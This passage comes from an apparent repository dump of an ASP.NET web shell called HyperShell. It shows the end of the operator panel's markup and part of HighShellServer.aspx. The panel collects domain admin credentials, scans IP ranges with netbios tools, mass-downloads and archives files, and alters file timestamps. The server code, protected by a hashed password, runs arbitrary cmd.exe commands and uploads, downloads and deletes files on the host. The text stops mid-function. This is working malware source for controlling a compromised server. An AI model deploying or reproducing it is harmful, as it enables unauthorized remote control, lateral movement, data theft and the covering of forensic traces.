8.6.2</span>\r\n                        </td>\r\n                    </tr>\r\n                </table>\r\n                <hr />\r\n                <table>\r\n                    <tr>\r\n                        <td id=\"chkModules\" class=\"h\" onclick=\"checkModules(this);\" style=\"cursor: pointer\">Modules</td>\r\n                        <td class=\"b\">\r\n                            <button id=\"mdl7z\" class=\"ui compact labeled icon button mdlItem\" onclick=\"installModule(this)\"><i class=\"large File Archive Outline icon\"></i>7z</button>\r\n                            <button id=\"mdlrx\" class=\"ml5 ui compact labeled icon button mdlItem\" onclick=\"installModule(this)\" title=\"Remote Execution\"><i class=\"large Desktop icon\"></i>rx</button>\r\n                            <button id=\"mdlnbt\" class=\"ml5 ui compact labeled icon button mdlItem\" onclick=\"installModule(this)\" title=\"Netbios Tools\"><i class=\"large Connectdevelop icon\"></i>nbt</button>\r\n                            <%--<button id=\"mdlhb\" class=\"ml5 ui compact labeled icon button mdlItem\" onclick=\"installModule(this)\" title=\"HoboCopy\"><i class=\"large Clone icon\"></i>hb</button>--%>\r\n                        </td>\r\n                    </tr>\r\n                </table>\r\n            </div>\r\n            <div style=\"border: 1px solid #ccc; margin-bottom: 10px; background-color: #aaa;\">\r\n                <table style=\"width: 100%\">\r\n                    <tr>\r\n                        <td class=\"h\">Target Computer</td>\r\n                        <td class=\"b\">\r\n                            <div class=\"ui form\">\r\n                                <iframe name=\"abcd\" style=\"display: none\" src=\"about:blank\"></iframe>\r\n                                <form target=\"abcd\" action=\"about:blank\">\r\n                                    <div class=\"field\">\r\n                                        <div class=\"two fields\">\r\n                                            <div class=\"field\">\r\n                                                <input name=\"adminU\" type=\"text\" placeholder=\"Domain Admin Username...\" onkeypress=\"return grabEnter(event, this);\">\r\n                                            </div>\r\n                                            <div class=\"field\">\r\n                                                <input name=\"adminP\" type=\"text\" placeholder=\"Domain Admin Password...\" onkeypress=\"return grabEnter(event, this);\">\r\n                                            </div>\r\n                                        </div>\r\n                                    </div>\r\n                                </form>\r\n                                <%--<div class=\"field\">\r\n                                    <div class=\"ui action input\">\r\n                                        <div id=\"cmbIP\" class=\"ui fluid multiple search normal selection dropdown\">\r\n                                            <input type=\"hidden\" name=\"MainIP\" value=\"\\\\localhost\" />\r\n                                            <i class=\"dropdown icon\"></i>\r\n                                            <div class=\"default text\">Select Computer</div>\r\n                                            <div class=\"menu\">\r\n                                                <div class=\"label\" style=\"padding: 0 5px 5px 5px;\">\r\n                                                    <table style=\"width: 100%\">\r\n                                                        <tr>\r\n                                                            <td style=\"width: 280px;\">\r\n                                                                <button class=\"ui compact labeled icon button primary\" onclick=\"TargetComputerAddFromNbt($(this))\"><i class=\"large Connectdevelop icon\"></i>Insert Computer From nbt</button>\r\n                                                            </td>\r\n                                                            <td style=\"width: 85px\">Get IP From :</td>\r\n                                                            <td style=\"width: 173px\">\r\n                                                                <div id=\"chbNbtMode\" class=\"ui buttons\">\r\n                                                                    <button class=\"ui button green\" onclick=\"$(this).removeClass('green').addClass('green').next().removeClass('green')\">ipconfig</button>\r\n                                                                    <button class=\"ui button\" onclick=\"$(this).removeClass('green').addClass('green').prev().removeClass('green')\">input</button>\r\n                                                                </div>\r\n                                                            </td>\r\n                                                            <td>\r\n                                                                <div class=\"ui input\">\r\n                                                                    <input id=\"txtNbtInput\" placeholder=\"Insert IP here, like this : 192.168.1.0/24,192.168.1.20-43,192.168.4.4-192.170.3.140\" />\r\n                                                                </div>\r\n                                                            </td>\r\n                                                        </tr>\r\n                                                    </table>\r\n                                                </div>\r\n                                                <div class=\"label\" style=\"padding: 0 5px 5px 5px;\">\r\n                                                    <table style=\"width: 100%\">\r\n                                                        <tr>\r\n                                                            <td style=\"width: 180px;\">Insert Computer From Input :</td>\r\n                                                            <td style=\"width:110px;text-align:center\"><button id=\"chbTargetComputerUsePing\" class=\"ui toggle button\">Use Ping</button></td>\r\n                                                            <td style=\"padding-left: 5px\">\r\n                                                                <div class=\"ui left icon input\">\r\n                                                                    <input id=\"txtTargetComputerIP\" placeholder=\"Insert IP, IP range or Computer Name here...\" />\r\n                                                                    <i class=\"circular Add Square icon link\" onclick=\"TargetComputerAddFromInput($('#txtTargetComputerIP'));\"></i>\r\n                                                                </div>\r\n                                                            </td>\r\n                                                        </tr>\r\n                                                    </table>\r\n                                                </div>\r\n                                                <div class=\"label\" style=\"padding: 0 16px 5px 16px;\">\r\n                                                    <table class=\"dropdown-table-header\">\r\n                                                        <tr>\r\n                                                            <td class=\"clmn1\">Computer</td>\r\n                                                            <td class=\"clmn2\">Computer Name</td>\r\n                                                            <td class=\"clmn3\">Domain</td>\r\n                                                            <td class=\"clmn4\">FullDomain</td>\r\n                                                            <td class=\"clmn5\">Properties</td>\r\n                                                            <td class=\"clmn6\">Mac Address</td>\r\n                                                        </tr>\r\n                                                    </table>\r\n                                                </div>\r\n                                                <div class=\"item\" data-value=\"\\\\localhost\">Localhost</div>\r\n                                            </div>\r\n                                        </div>\r\n                                        <button class=\"ui button primary\" onclick=\"$('#cmbIP').dropdown('clear');\">Clear</button>\r\n                                    </div>\r\n                                </div>--%>\r\n                            </div>\r\n                        </td>\r\n                    </tr>\r\n                </table>\r\n            </div>\r\n            <div class=\"ui top attached tabular menu\">\r\n                <a class=\"item active\" data-tab=\"command\">Command</a>\r\n                <a class=\"item\" data-tab=\"explorer\">Explorer</a>\r\n                <a class=\"item\" data-tab=\"computers\">Computers</a>\r\n                <a class=\"item\" data-tab=\"networkdownloader\">Network Downloader</a>\r\n                <a class=\"item\" data-tab=\"upload\">Upload</a>\r\n                <a class=\"item\" data-tab=\"download\">Download</a>\r\n                <a class=\"item\" data-tab=\"changetime\">Change Time</a>\r\n            </div>\r\n            <div id=\"tbMain\" class=\"ui sticky bottom attached tab segment active\" data-tab=\"command\">\r\n                <form method=\"post\">\r\n                    <input type=\"hidden\" name=\"m\" value=\"1\" />\r\n                    <div style=\"padding: 5px\">\r\n                        <div class=\"ui label\">Selected Location : <span id=\"cmdSelectedLocation\">\\\\localhost</span></div>\r\n                    </div>\r\n                    <div class=\"ui left icon input\" style=\"width: 100%;\">\r\n                        <input id=\"inpCmd\" name=\"cmd\" type=\"text\" value='<%= cmd %>' style=\"width: 100%; padding-right: 30px !important;\" onkeypress=\"return grabEnter(event, this);\" />\r\n                        <i class=\"terminal icon\"></i>\r\n                        <div class=\"ui dropdown icon item\" style=\"position: absolute; right: 0px; top: 9px;\">\r\n                            <i class=\"setting large icon\"></i>\r\n                            <div class=\"flowing menu\">\r\n                                <div class=\"item\" onclick=\"event.stopPropagation()\">\r\n                                    <div id=\"chbCmdError\" class=\"ui toggle checkbox\">\r\n                                        <input type=\"checkbox\" checked=\"checked\">\r\n                                        <label>Add 2>&1</label>\r\n                                    </div>\r\n                                </div>\r\n                                <div class=\"item\" onclick=\"event.stopPropagation()\">\r\n                                    <div id=\"chbCmdAppend\" class=\"ui toggle checkbox\">\r\n                                        <input type=\"checkbox\">\r\n                                        <label>Append Result</label>\r\n                                    </div>\r\n                                </div>\r\n                                <div class=\"item\" onclick=\"event.stopPropagation()\">\r\n                                    <div id=\"chbCmdLongTimeCommand\" class=\"ui toggle checkbox\">\r\n                                        <input type=\"checkbox\">\r\n                                        <label>Long Time Command</label>\r\n                                    </div>\r\n                                </div>\r\n                            </div>\r\n                        </div>\r\n                    </div>\r\n\r\n                </form>\r\n            </div>\r\n            <div class=\"ui bottom attached tab segment\" data-tab=\"explorer\">\r\n                <table>\r\n                    <tr>\r\n                        <td>\r\n                            <table>\r\n                                <tr>\r\n                                    <td class=\"h\">Address</td>\r\n                                    <td class=\"b\">\r\n                                        <form method=\"post\">\r\n                                            <input type=\"hidden\" name=\"m\" value=\"23\" />\r\n                                            <div class=\"ui action input\" style=\"width: 700px;\">\r\n                                                <input placeholder=\"Folder Address...\" name=\"exadd\" type=\"text\" value='<%= exadd %>' onkeypress=\"return grabEnter(event, this);\" />\r\n                                                <button class=\"ui button primary\" id=\"btnExpror\" onclick=\"sendAddress(this);return false;\">Explore</button>\r\n                                            </div>\r\n                                        </form>\r\n                                    </td>\r\n                                </tr>\r\n                            </table>\r\n                        </td>\r\n                        <td>\r\n                            <table>\r\n                                <tr>\r\n                                    <td class=\"h\" style=\"border-left: 1px solid #ddd\">Upload</td>\r\n                                    <td class=\"b\">\r\n                                        <form method=\"post\" enctype=\"multipart/form-data\">\r\n                                            <input type=\"hidden\" name=\"m\" value=\"2\" />\r\n                                            <input name=\"isExp\" type=\"hidden\" value=\"1\" />\r\n                                            <div class=\"ui action input\" style=\"width: 700px;\">\r\n                                                <input name=\"uploadFile\" type=\"file\" style=\"padding: 0.393em 1em !important;\" />\r\n                                                <button class=\"ui button primary\" onclick=\"expUpload();\">Upload</button>\r\n                                            </div>\r\n                                            <input id=\"expSaveAddress\" name=\"uploadPath\" type=\"text\" style=\"display: none\" />\r\n                                        </form>\r\n                                    </td>\r\n                                </tr>\r\n                            </table>\r\n                        </td>\r\n                    </tr>\r\n                </table>\r\n                <%--                <iframe name=\"abcd\" style=\"display: none\" src=\"about:blank\"></iframe>\r\n                <form target=\"abcd\" action=\"about:blank\">\r\n                    <label class=\"formLabel\">Username : </label>\r\n                    <div class=\"ui input\" style=\"margin-bottom: 10px; width: 273px;\">\r\n                        <input placeholder=\"Domain Admin Username...\" name=\"adminU\" class=\"mmm\" type=\"text\" style=\"width: 200px\" value=\"<%= adminU %>\" onkeypress=\"return grabEnter(event, this);\" />\r\n                    </div>\r\n                    <label class=\"formLabel\">Password : </label>\r\n                    <div class=\"ui input\" style=\"margin-bottom: 10px; width: 273px;\">\r\n                        <input placeholder=\"Domain Admin Password...\" name=\"adminP\" class=\"mmm\" type=\"text\" style=\"width: 200px\" value=\"<%= adminP %>\" onkeypress=\"return grabEnter(event, this);\" />\r\n                    </div>\r\n                </form>--%>\r\n                <hr />\r\n                <div>\r\n                    <div id=\"stickyDirCommand\" class=\"ui sticky\">\r\n                        <table>\r\n                            <tr>\r\n                                <td class=\"h\">Commands</td>\r\n                                <td class=\"b\">\r\n                                    <table>\r\n                                        <tr>\r\n                                            <td>\r\n                                                <form target=\"abcd\" action=\"about:blank\">\r\n                                                    <div class=\"ui action input\">\r\n                                                        <input id=\"7zaddress\" type=\"text\" placeholder=\"7z file address...\" style=\"width: 200px\" onkeypress=\"return grabEnter(event, this);\" value=\"<%= moduleFolder %>Files\\\">\r\n                                                        <input id=\"7zvsize\" type=\"text\" placeholder=\"Split\" style=\"width: 70px; border-radius: 0;\">\r\n                                                        <select id=\"7zvmode\" class=\"ui compact selection dropdown\">\r\n                                                            <option value=\"b\">Byte</option>\r\n                                                            <option value=\"k\">KB</option>\r\n                                                            <option selected=\"\" value=\"m\">MB</option>\r\n                                                            <option value=\"g\">GB</option>\r\n                                                        </select>\r\n                                                        <select id=\"7zclevel\" class=\"ui compact selection dropdown\">\r\n                                                            <option selected=\"\" value=\"-mx0\">Copy Mode</option>\r\n                                                            <option value=\"-mx1\">Fastest Mode</option>\r\n                                                            <option value=\"-mx3\">Fast Mode</option>\r\n                                                            <option value=\"-mx5\">Normal Mode</option>\r\n                                                            <option value=\"-mx7\">Maximum Mode</option>\r\n                                                            <option value=\"-mx9\">Ultra Mode</option>\r\n                                                        </select>\r\n                                                        <input id=\"7zexclude\" type=\"text\" placeholder=\"Exclude file from 7z : *.mp3,*.iso\" style=\"width:300px; border-radius: 0;\" title=\"Exclude file from 7z : *.mp3,*.iso\">\r\n                                                        <button id=\"cmd7z\" class=\"ui compact icon primary button\" onclick=\"cmd7za(this); return false;\"><i class=\"large File Archive Outline icon\"></i></button>\r\n                                                    </div>\r\n                                                </form>\r\n                                            </td>\r\n                                            <td>\r\n                                                <button title=\"7z Selected Files and Download\" id=\"cmd7zdl\" class=\"ui compact icon ml5 button primary\" style=\"padding: 10.5px;\" onclick=\"cmd7zdl(this)\"><i class=\"large File Archive Outline icon\"></i><i class=\"Plus icon\"></i><i class=\"large Cloud Download icon\"></i></button>\r\n                                            </td>\r\n                                            <td>\r\n                                                <button title=\"Download\" id=\"cmddl\" class=\"ui compact icon ml5 button primary\" onclick=\"cmddl(this);\" style=\"padding: 10.5px;\"><i class=\"large Cloud Download icon\"></i></button>\r\n                                            </td>\r\n                                            <td>\r\n                                                <button title=\"Delete Selected Files\" id=\"cmddelete\" class=\"ui compact icon ml5 button primary\" onclick=\"cmddelete(this)\" data-content=\"Delete Selected Files\" style=\"padding: 10.5px;\"><i class=\"large Trash icon\"></i></button>\r\n                                            </td>\r\n                                        </tr>\r\n                                    </table>\r\n                                </td>\r\n                            </tr>\r\n                        </table>\r\n                    </div>\r\n                </div>\r\n                <div id=\"stickyDirContext\">\r\n                    <hr />\r\n                    <div class=\"objLocHolder\">\r\n                        <div class=\"objLeft\" style=\"margin-left: 22px; margin-right: -3px;\">Location :</div>\r\n                        <div id=\"objLocation\">\r\n                            <%--<div class=\"objRight objD objL\" onclick=\"setAddress(this,this.innerText);\" style=\"margin: 0\">root</div>--%>\r\n                        </div>\r\n                    </div>\r\n                    <div id=\"objFrame\">\r\n                    </div>\r\n                </div>\r\n            </div>\r\n            <div class=\"ui bottom attached tab segment\"  data-tab=\"computers\">\r\n                <div style=\"padding:5px\">\r\n                    <table style=\"width:100%;margin-bottom:5px\">\r\n                        <tr>\r\n                            <td style=\"width: 55px\">Nbt :</td>\r\n                            <td style=\"width: 173px\">\r\n                                <div id=\"chbNbtMode\" class=\"ui buttons\">\r\n                                    <button class=\"ui button\" onclick=\"$(this).removeClass('green').addClass('green').next().removeClass('green')\">ipconfig</button>\r\n                                    <button class=\"ui button green\" onclick=\"$(this).removeClass('green').addClass('green').prev().removeClass('green')\">input</button>\r\n                                </div>\r\n                            </td>\r\n                            <td>\r\n                                <div class=\"ui fluid input\">\r\n                                    <input id=\"txtNbtInput\" placeholder=\"Insert IP here, like this : 192.168.1.0/24,192.168.1.20-43,192.168.4.4-192.170.3.140\" />\r\n                                </div>\r\n                            </td>\r\n                            <td style=\"width:295px;padding-left:5px;\">\r\n                                <button class=\"ui compact labeled icon button primary\" onclick=\"TargetComputerAddSelectAllDownload($(this))\"><i class=\"large Connectdevelop icon\"></i>Insert nbt + Select All + Download</button>\r\n                            </td>\r\n                            <td style=\"width:262px;padding-left:5px;\">\r\n                                <button class=\"ui compact labeled icon button primary\" onclick=\"TargetComputerAddFromNbt($(this))\"><i class=\"large Connectdevelop icon\"></i>Insert Computer From nbt</button>\r\n                            </td>\r\n                        </tr>\r\n                    </table>\r\n                    <table style=\"width: 100%;\">\r\n                        <tr>\r\n                            <td style=\"width: 55px;\">Input :</td>\r\n                            <td style=\"width:98px;\"><button id=\"chbTargetComputerUsePing\" class=\"ui toggle button\">Use Ping</button></td>\r\n                            <td style=\"padding-left: 5px\">\r\n                                <div class=\"ui fluid input\">\r\n                                    <input id=\"txtTargetComputerIP\" placeholder=\"Insert IP, IP range or Computer Name here, like this : 192.168.1.1,192.168.1.1/24,PCNAME,192.168.1.12-44\" />\r\n                                </div>\r\n                            </td>\r\n                            <td style=\"width:262px;padding-left:5px;\">\r\n                                <button class=\"ui compact labeled icon button primary\" onclick=\"TargetComputerAddFromInput($('#txtTargetComputerIP'))\"><i class=\"large Chevron Right icon\"></i>Insert Computer From Input</button>\r\n                            </td>\r\n                        </tr>\r\n                    </table>\r\n                    </div>\r\n                <hr style=\"margin:5px 0\" />\r\n                <div style=\"padding:5px\">\r\n                <button class=\"ui button primary\" onclick=\"$('#TargetComputerTable').DataTable().clear().draw()\">Clear</button>\r\n                <table id=\"TargetComputerTable\" class=\"display\" cellspacing=\"0\" width=\"100%\">\r\n        <thead>\r\n            <tr>\r\n                <th style=\"width:17px\"><div id=\"TargetComputersCheckAll\" class=\"ui fitted checkbox\"><input type=\"checkbox\"> <label></label></div></th>\r\n                <th>Computer</th>\r\n                <th>Computer Name</th>\r\n                <th>Domain</th>\r\n                <th>FullDomain</th>\r\n                <th>Properties</th>\r\n                <th>Mac Address</th>\r\n                <th>Command</th>\r\n            </tr>\r\n        </thead>\r\n        <tbody>\r\n        </tbody>\r\n    </table>\r\n                </div>\r\n            </div>\r\n            <div class=\"ui bottom attached tab segment\" data-tab=\"networkdownloader\" style=\"padding: 5px;\">\r\n                \r\n                <div class=\"ui input\" style=\"padding-right: 5px;\">\r\n                    <input id=\"txtNetworkDownloaderExclude\" value=\"-xr!*.mp3\" />\r\n                </div>\r\n                <table style=\"width: 100%\">\r\n                    <tr>\r\n                        <td style=\"width: 130px\">7z file to this folder :</td>\r\n                        <td>\r\n                            <div class=\"ui form\">\r\n                                <div class=\"field\">\r\n                                    <div class=\"ui input\" style=\"padding-right: 5px;\">\r\n                                        <input id=\"txtNetworkDownloaderLocation\" value=\"<%= moduleFolder %>Files\\\" />\r\n                                    </div>\r\n                                </div>\r\n                            </div>\r\n                        </td>\r\n                        <td style=\"width: 180px\">\r\n                            <button id=\"btnNetworkDownloader\" class=\"ui compact labeled icon button\" onclick=\"startNetworkDownloader()\">\r\n                                <i class=\"Cloud Download icon\"></i>\r\n                                Start Download\r\n                            </button>\r\n                        </td>\r\n                    </tr>\r\n                </table>\r\n                <div id=\"contentNetDon\">\r\n                </div>\r\n            </div>\r\n            <div class=\"ui bottom attached tab segment\" data-tab=\"upload\">\r\n                <form method=\"post\" enctype=\"multipart/form-data\">\r\n                    <input type=\"hidden\" name=\"m\" value=\"2\" />\r\n                    <t>File name :</t>\r\n                    <input name=\"uploadFile\" type=\"file\" /><br>\r\n                    <t>Save as :</t>\r\n                    <input id=\"uplSaveAddress\" name=\"uploadPath\" type=\"text\" value='<%= sav %>' /><br>\r\n                    <input type=\"submit\" value=\"Upload\" />\r\n                </form>\r\n                <%--    <hr>\r\n    <form method=\"post\">\r\n        <t>Base64 File :</t>\r\n        <textarea name=\"baseFile\"></textarea><br>\r\n        <t>File Path and Name :</t>\r\n        <input name=\"baseAddr\" class=\"mmm\" type=\"text\" value='<%= baseAddr %>' />\r\n        <input type=\"submit\" value=\"Upload\" onclick=\"subm();\" />\r\n    </form>--%>\r\n            </div>\r\n            <div class=\"ui bottom attached tab segment\" data-tab=\"download\">\r\n                <table>\r\n                    <tr>\r\n                        <td class=\"h\">Download</td>\r\n                        <td class=\"b\">\r\n                            <div class=\"ui action input\" style=\"width: 700px\">\r\n                                <input id=\"txtManualDownload\" type=\"text\" />\r\n                                <button class=\"ui button primary\" onclick=\"downloadManager($('#txtManualDownload').val(), this, true);\">Download</button>\r\n                            </div>\r\n                        </td>\r\n                    </tr>\r\n                </table>\r\n            </div>\r\n            <div id=\"tbSqlServer\" class=\"tb\">\r\n                <form method=\"post\">\r\n                    <input style=\"margin: 0 0 3px 192px\" type=\"button\" value=\"Standard Connection Sample\" onclick=\"document.getElementsByName('sqc')[0].value = 'Server=.;Database=db;User Id=user;Password=pass'\" />\r\n                    <input style=\"margin: 0 0 3px 0\" type=\"button\" value=\"Trusted Connection Sample\" onclick=\"document.getElementsByName('sqc')[0].value = 'Server=.;Database=db;Trusted_Connection=True'\" /><br />\r\n                    <t>Connection String :</t>\r\n                    <input name=\"sqc\" class=\"mmm\" type=\"text\" value='<%= sqc %>' /><br />\r\n                    <t>Query :</t>\r\n                    <textarea name=\"sqq\" class=\"mmm\"><%= sqq %></textarea>\r\n                    <input type=\"submit\" value=\"Run\" onclick=\"subm();\" />\r\n                </form>\r\n            </div>\r\n            <div class=\"ui bottom attached tab segment\" data-tab=\"changetime\">\r\n                <%--<form method=\"post\">--%>\r\n                <input name=\"timeh\" type=\"hidden\" />\r\n                <t>File name :</t>\r\n                <input name=\"tfil\" type=\"text\" value='<%= tfil %>' />\r\n                <input type=\"submit\" value=\"Get\" onclick=\"document.getElementsByName('timeh')[0].value = '1'; changeTime(this);\" /><br>\r\n                <t>From This File :</t>\r\n                <input name=\"ttar\" type=\"text\" value='<%= ttar %>' />\r\n                <input type=\"submit\" value=\"Set\" onclick=\"document.getElementsByName('timeh')[0].value = '2'; changeTime(this);\" /><br>\r\n                <t>New Time :</t>\r\n                <input name=\"ttim\" type=\"text\" value='<%= ttim %>' />\r\n                <input type=\"submit\" value=\"Set\" onclick=\"document.getElementsByName('timeh')[0].value = '3'; changeTime(this);\" />\r\n                <%--</form>--%>\r\n            </div>\r\n        </div>\r\n        <pre id=\"log\" runat=\"server\" style=\"min-height: 50px; white-space: pre-wrap;\"></pre>\r\n        <script><%= SpecialScript %></script>\r\n    </div>\r\n    <div id=\"sidebarDownlaod\" class=\"ui right sidebar\" style=\"background-color: #000; border-left: 1px solid #fff; z-index: 1000;\">\r\n        <div class=\"rightButton\" onclick=\"sidebarOpen('sidebarDownlaod')\">\r\n            <span style=\"margin-top: 52px;\">Downloads</span>\r\n        </div>\r\n        <div id=\"downloadContext\">\r\n        </div>\r\n    </div>\r\n    <div class=\"ui tiny modal\">\r\n        <div class=\"header\">\r\n            Delete File\r\n        </div>\r\n        <div class=\"content\">\r\n            <p>\r\n                Are you sure you want to delete this file?<br />\r\n                <span id=\"messageDeleteFile\"></span>\r\n            </p>\r\n        </div>\r\n        <div class=\"actions\">\r\n            <div class=\"ui negative button\">\r\n                No\r\n            </div>\r\n            <div class=\"ui positive right labeled icon button\">\r\n                Yes\r\n            <i class=\"checkmark icon\"></i>\r\n            </div>\r\n        </div>\r\n    </div>\r\n    <i title=\"Scroll Top\" class=\"circular large link chevron circle up icon\" style=\"right: 10px; bottom: 10px; position: fixed; z-index: 3333; background-color: #fff\" onclick=\"$('html, body').animate({ scrollTop: 0 }, 500);\"></i>\r\n    <i title=\"Clear Terminal\" class=\"circular large link paint brush icon\" style=\"right: 65px; bottom: 10px; position: fixed; z-index: 3333; background-color: #fff\" onclick=\"$('#log').text('');$('#tbMain').sticky('refresh');\"></i>\r\n</body>\r\n</html>\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/ShellLocal-Special2/HighShellServer.aspx",
    "content": "﻿<%@ Page Language=\"C#\" ValidateRequest=\"false\" EnableViewState=\"false\" %>\r\n\r\n<%\r\ntry\r\n{\r\nNameValueCollection t=HttpContext.Current.Request.Form;\r\nmethod selectedMethod=method.auth;\r\ntry{int methodID=int.Parse(fb(t[\"m\"]));selectedMethod=(method)methodID;}catch{rm();}\r\np=fb(t[\"p\"]);\r\nadminU=fb(t[\"adminU\"]);\r\nadminP=fb(t[\"adminP\"]);\r\nif(string.IsNullOrEmpty(p)){if(HttpContext.Current.Request.Cookies[\"p\"] != null)p=fb(HttpContext.Current.Request.Cookies[\"p\"].Value);}\r\nif(selectedMethod != method.auth && selectedMethod != method.authAjax && !login(p)){rm();}\r\nswitch(selectedMethod){\r\ncase method.auth:\r\ncase method.authAjax:auth(p);break;\r\ncase method.command:\r\ncase method.commandAjax:command(fb(t[\"cmd\"]));break;\r\ncase method.upload:upload(HttpContext.Current.Request.Files[\"uploadFile\"],fb(t[\"uploadPath\"]));break;\r\ncase method.download:download(fb(t[\"don\"]),fb(t[\"isdel\"]));break;\r\ncase method.downloadTest:downloadTest(fb(t[\"don\"]));break;\r\ncase method.explorer:exp(fb(t[\"exadd\"]));break;\r\ncase method.getsize:gsize(fb(t[\"gsize\"]));break;\r\ncase method.getlocation:\r\ncase method.getlocationAjax:response(getLoc());break;\r\ncase method.rename:rename(fb(t[\"rename1\"]),fb(t[\"rename2\"]));break;\r\ncase method.copy:copy(fb(t[\"copy1\"]),fb(t[\"copy2\"]));break;\r\ncase method.view:view(fb(t[\"view\"]));break;\r\ncase method.delete:delete(fb(t[\"delete\"]));break;\r\ncase method.multiDelete:multiDelete(fb(t[\"delete\"]));break;\r\ncase method.changeTime:changeTime(fb(t[\"timeh\"]),fb(t[\"tfil\"]),fb(t[\"ttar\"]),fb(t[\"ttim\"]));break;\r\ndefault:break;\r\n}\r\n}\r\ncatch(Exception ex){response(\"Error : \"+ex.Message);}\r\n%>\r\n<script runat=\"server\">\r\n    enum method{auth=0,command=1,upload=2,uploadbase64=3,delete=4,download=5,changeTime=6,sqlQuery=7,explorer=8,getsize=9,getlocation=10,rename=11,copy=12,view=13,commandAjax=14,downloadTest=15,checkModules=16,installModule=17,uninstallModule=18,cmd7z=19,authAjax=20,getlocationAjax=21,multiDelete=24};\r\n    string salt=\"I9DRj5CH6Rtzd3HTCUbtJlmWNzsTa8b*2ldX3RT7ZOof(Zl$CaPQ3rpsGK74NMH1z\";\r\n    string p,adminU,adminP;\r\n    bool aut=false;\r\n    string pp=\"TMzp5OlYv7Q0MSosaDqT5zRztTho/9/Ln7iayTV46VE=\";\r\n    string a(string a,string b){return string.IsNullOrEmpty(a)?b:a;}\r\n    string tb(string a){string ret=\"\";try{ret=string.IsNullOrEmpty(a)?a:Convert.ToBase64String(Encoding.UTF8.GetBytes(a));}catch{}return ret;}\r\n    string fb(string a){string ret=\"\";try{ret=string.IsNullOrEmpty(a)?a:Encoding.UTF8.GetString(Convert.FromBase64String(a));}catch{}return ret;}\r\n    void rm(){Response.Redirect(Request.Url.AbsolutePath.Substring(0,Request.Url.AbsolutePath.LastIndexOf(\"/\")+1)+\" \"+Request.Url.AbsolutePath.Substring(Request.Url.AbsolutePath.LastIndexOf(\"/\")+1));}\r\n    void auth(string p){\r\n        string ret=string.Empty;\r\n        try {\r\n            ret = string.Format(\"{{\\\"auth\\\":\\\"{0}\\\",\\\"loc\\\":\\\"{1}\\\"}}\", login(p).ToString(),tb(getLoc()));\r\n        } catch(Exception e){\r\n            ret =\"Error : \"+e.Message;\r\n        }\r\n        response(ret);\r\n    }\r\n    bool login(string p){bool aut=false;try{if(!string.IsNullOrEmpty(p)){aut=Convert.ToBase64String(new System.Security.Cryptography.SHA256CryptoServiceProvider().ComputeHash(Encoding.ASCII.GetBytes(p+salt)))==pp;}}catch(Exception e){response(e.Message);}return aut;}\r\n    void command(string cmd){string ret=\"Error : -\";try{string o=exec(cmd);o=o.Remove(0,o.IndexOf(Environment.NewLine)+2);o=o.Remove(0,o.IndexOf(Environment.NewLine)+2);o=o.Remove(0,o.IndexOf(Environment.NewLine));o=o.Remove(o.LastIndexOf(Environment.NewLine));o=o.Remove(o.LastIndexOf(Environment.NewLine)+2);ret=HttpUtility.HtmlEncode(o);}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(ret);}\r\n    void upload(HttpPostedFile uploadFile,string uploadPath)\r\n    {\r\n        string ret=\"Error : -\";\r\n        try {\r\n            if (System.IO.Path.IsPathRooted(uploadPath))\r\n            {\r\n                string FileName = System.IO.Path.GetFileName(uploadFile.FileName);\r\n                string FilePath = uploadPath.TrimEnd('\\\\') + \"\\\\\";\r\n                if (string.IsNullOrEmpty(System.IO.Path.GetExtension(uploadPath)))\r\n                {\r\n                    if (!System.IO.Directory.Exists(uploadPath))\r\n                    {\r\n                        if (!string.IsNullOrEmpty(System.IO.Path.GetFileName(uploadPath)))\r\n                        {\r\n                            FileName = System.IO.Path.GetFileName(uploadPath);\r\n                            FilePath = System.IO.Path.GetDirectoryName(uploadPath) + \"\\\\\";\r\n                        }\r\n                    }\r\n                }\r\n                else\r\n                {\r\n                    FileName = System.IO.Path.GetFileName(uploadPath);\r\n                    FilePath = System.IO.Path.GetDirectoryName(uploadPath) + \"\\\\\";\r\n                }\r\n\r\n                if (!System.IO.Directory.Exists(FilePath))\r\n                    System.IO.Directory.CreateDirectory(FilePath);\r\n\r\n                uploadFile.SaveAs(FilePath + FileName);\r\n                ret =\"File uploaded successfully : \"+ FilePath + FileName;\r\n            }\r\n            else\r\n                ret=\"Error : The path is not current format \\\"\"+uploadPath+\"\\\"\";\r\n\r\n        } catch(Exception ex){\r\n            ret =\"Error : \"+ex.Message;\r\n        }\r\n        response(ret);\r\n    }\r\n    string getLoc(){return Server.MapPath(string.Empty)+\"\\\\\";}\r\n    void downloadTest(string don)\r\n    {\r\n        string ret = \"Error : -\";\r\n        try\r\n        {\r\n            if (!string.IsNullOrEmpty(don))\r\n            {\r\n                using (System.IO.Stream stream = new System.IO.FileStream(don, System.IO.FileMode.Open))\r\n                {\r\n                    ret = string.Format(\"File '{0}' is ready for download\", don);\r\n                }\r\n            }\r\n        }\r\n        catch (Exception e)\r\n        {\r\n            ret = \"Error : \" + e.Message;\r\n        }\r\n        response(ret);\r\n    }\r\n    void download(string don, string isdel)\r\n    {\r\n        string ret=\"Error : -\";\r\n        try {\r\n            if (!string.IsNullOrEmpty(don)){\r\n                System.Web.HttpResponse response = System.Web.HttpContext.Current.Response;\r\n                response.ClearContent();\r\n                response.Clear();\r\n                response.ClearHeaders();\r\n                response.ContentType = \"application/octet-stream\";\r\n                response.AppendHeader(\"Content-Disposition\", \"attachment;size=\"+new System.IO.FileInfo(don).Length+\";filename=\" + HttpUtility.UrlEncode(tb(System.IO.Path.GetFileName(don))));\r\n                response.WriteFile(don);\r\n                response.Flush();\r\n                Response.SuppressContent = true;\r\n                ApplicationInstance.CompleteRequest();\r\n            }\r\n        }\r\n        catch(Exception e)\r\n        {\r\n            ret = \"Error : \" + e.Message;\r\n            response(ret);\r\n        }\r\n    }\r\n    string exec(string cmd,string pro=\"\"){System.Diagnostics.Process n=new System.Diagnostics.Process();n.StartInfo.FileName=(string.IsNullOrEmpty(pro)?\"cmd.exe\":pro);n.StartInfo.UseShellExecute=false;n.StartInfo.RedirectStandardInput=true;n.StartInfo.RedirectStandardOutput=true;n.StartInfo.RedirectStandardError=true;n.StartInfo.CreateNoWindow=true;string o=null;n.Start();n.StandardInput.WriteLine(cmd);n.StandardInput.WriteLine(\"exit\");o=n.StandardOutput.ReadToEnd();n.WaitForExit();n.Close();return o;}\r\n    void gsize(string addr){string ret=\"Error : -\";try{hasErrorInGetSize=false;long size=GetDirSize(new System.IO.DirectoryInfo(addr));ret=sizeFix(size);if(hasErrorInGetSize && sizelvl==0)ret=sizeError;else 